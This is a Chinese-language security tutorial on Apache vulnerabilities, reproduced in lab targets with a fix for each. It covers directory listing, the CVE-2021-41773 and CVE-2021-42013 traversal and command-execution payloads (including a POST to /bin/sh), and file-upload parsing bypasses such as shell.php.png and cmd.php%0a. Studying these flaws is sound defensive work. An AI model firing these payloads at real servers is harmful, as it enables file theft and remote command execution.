中间件漏洞之apache

 

介绍

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。

httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。

apache目录结构

bin:存放常用命令工具,如httpd 
cgi-bin:存放linux下常用命令,如xxx.sh error:错误记录 
htdocs:网站源码 
icons:网站图标 
manual:手册 
modules:扩展模块

Apache目录遍历

目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

漏洞复现

httpd.conf

DocumentRoot "C:\phpStudy\WWW" 
<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI 
    AllowOverride All Order allow,deny 
    Allow from all 
    Require all granted 
</Directory>

image-20220607222933790

漏洞修复

在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes + FollowSymLinks + ExecCGI并保存(把+修改为-)

+ Indexes 允许目录浏览 
— Indexes 禁止目录浏览

image-20220607222946768

路径穿越漏洞(CVE-2021-41773)

漏洞原理

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

影响范围

Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50

漏洞复现

https://vulfocus.cn/

CVE-2021-41773

image-20220607223004908

burp抓包

# 2.4.49
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

# 2.4.49-2.4.50
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20220607223045686

CVE-2021-42013(命令执行漏洞)

漏洞原理

CVE-2021-42013 是由于 CVE-2021-41773 修复不完整而导致的漏洞,从利用方式上看该漏洞把 CVE-2021-41773漏洞的%2e的2e再一次url编码,而%2e解码后是‘.’,再此漏洞通过把2e两次url编码可绕过修复Apache HTTP Server 2.4.49漏洞的补丁

影响范围

Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50

漏洞复现

https://vulfocus.cn/

CVE-2021-42013

image-20220607223059248

payload:

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 123.58.236.76:63827
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;ls

(命令开头为echo;)

image-20220607223113392

Apache解析漏洞

未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。

配置如下

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

影响范围

该漏洞与Apache 、 php版本误关,属于用户配置不当造成的解析漏洞

  1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
  2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
  3. 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。

漏洞分析

比如上传一个 a.php.qqq 的文件时,当此特性存在的时候,一看.qqq不认识, 继续王座解析,.php认识,就解析成php文件了。

那么哪些后缀Apache不认识?

不在mime.types当中的都不认识 (Multipurpose Internet Mail Extensions)

到安装Apache的目录下找这个文件

Windows:/apche/conf/mine.types
Ubuntu:/etc/mime.types

image-20220607223141444

image-20220607223131028

漏洞复现

靶机: kali

sudo service apache2 restart 
cd /etc/apache2/mods-enabled 
sudo vi php7.4.conf

修改为

image-20220607223155338

然后在/var/www/html 创建text.php.qqq 并写入 <?php phpinfo();?>

sudo vim /var/www/html/text.php.qqq
sudo service apache2 restart

直接访问/text.php.qqq

image-20220607223206658

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)"> 
Order Deny,Allow 
Deny from all 
</FilesMatch>
  1. 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。

如果都不认识将会暴露源码。

配置如下

AddHandler application/x-httpd-php .php

多后缀的文件名中只要存在.php后缀,则就会将该文件当做php文件解析。

漏洞复现

vulhub的一个靶场

cd vulhub-master/httpd/apache_parsing_vulnerability
docker-compose up -d

访问站点,这里用的是白名单,只能上传图片

image-20220607223218444

上传shell.php.png,内容为<?php phpinfo();?>

image-20220607223230450

访问上传的文件路径,复现成功

image-20220607223243671

漏洞修复

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)"> 
Order Deny,Allow 
Deny from all 
</FilesMatch>
  1. 删除AddHandler application/x-httpd-php .php

Apache HTTPD换行解析漏洞(CVE-2017-15715)

原理

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

可以看到这里获取文件名是需要单独$post['name']的,因为如果通过 $_FILES['file']['name'] 获取文件名的话,会把\x0a自动去除,所以 $_FILE['file']['name'] 这种方式获取文件名就不会造成这个漏洞

影响范围

apache :2.4.0~2.4.29版本

漏洞复现

https://vulfocus.cn/

搜索: CVE-2017-15715

image-20220607223258046

打开是一片空白,没有上传点

月师傅提供了题目源码

// 文件上传
<html> 
  <head>
    <meta charset="utf-8">
  </head> 
  <body>
    <form action="" method="post" enctype="multipart/form-data">    
      <label for="file">文件名:</label> 
      <input type="file" name="file" id="file">
      <br> 
      <input type="text" name="name" >
      <br> 
      <input type="submit" name="submit" value="提交"> 
    </form> 
  </body> 
</html> 
 

<?php 
  if(isset($_FILES['file'])){
    // basename() 函数返回$name中的文件名部分。
    $name = basename($_POST['name']); 
    // pathinfo() 返回文件信息,pathinfo($name,PATHINFO_EXTENSION)是获取$name的后缀名
    $ext = pathinfo($name,PATHINFO_EXTENSION); 
    $array=array('php','php3','php4','php5','phtml','pht'); 
    if(in_array($ext,$array)){ 
      exit('bad file'); 
    }
    // 把上传的临时文件移动到当前目录,文件名不做修改
    move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name); 
  }
?>

再本地用phpstudy搭好环境

image-20220607223316903

直接上传cmd.php,提示bad file

image-20220607223327881

在这个位置 cmd.php后面加上%0a并进行url解码,然后成功上传

image-20220607223338783

访问cmd.php%0a,成功解析

image-20220607223350470

修复建议

  1. 升级到最新版本
  2. 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行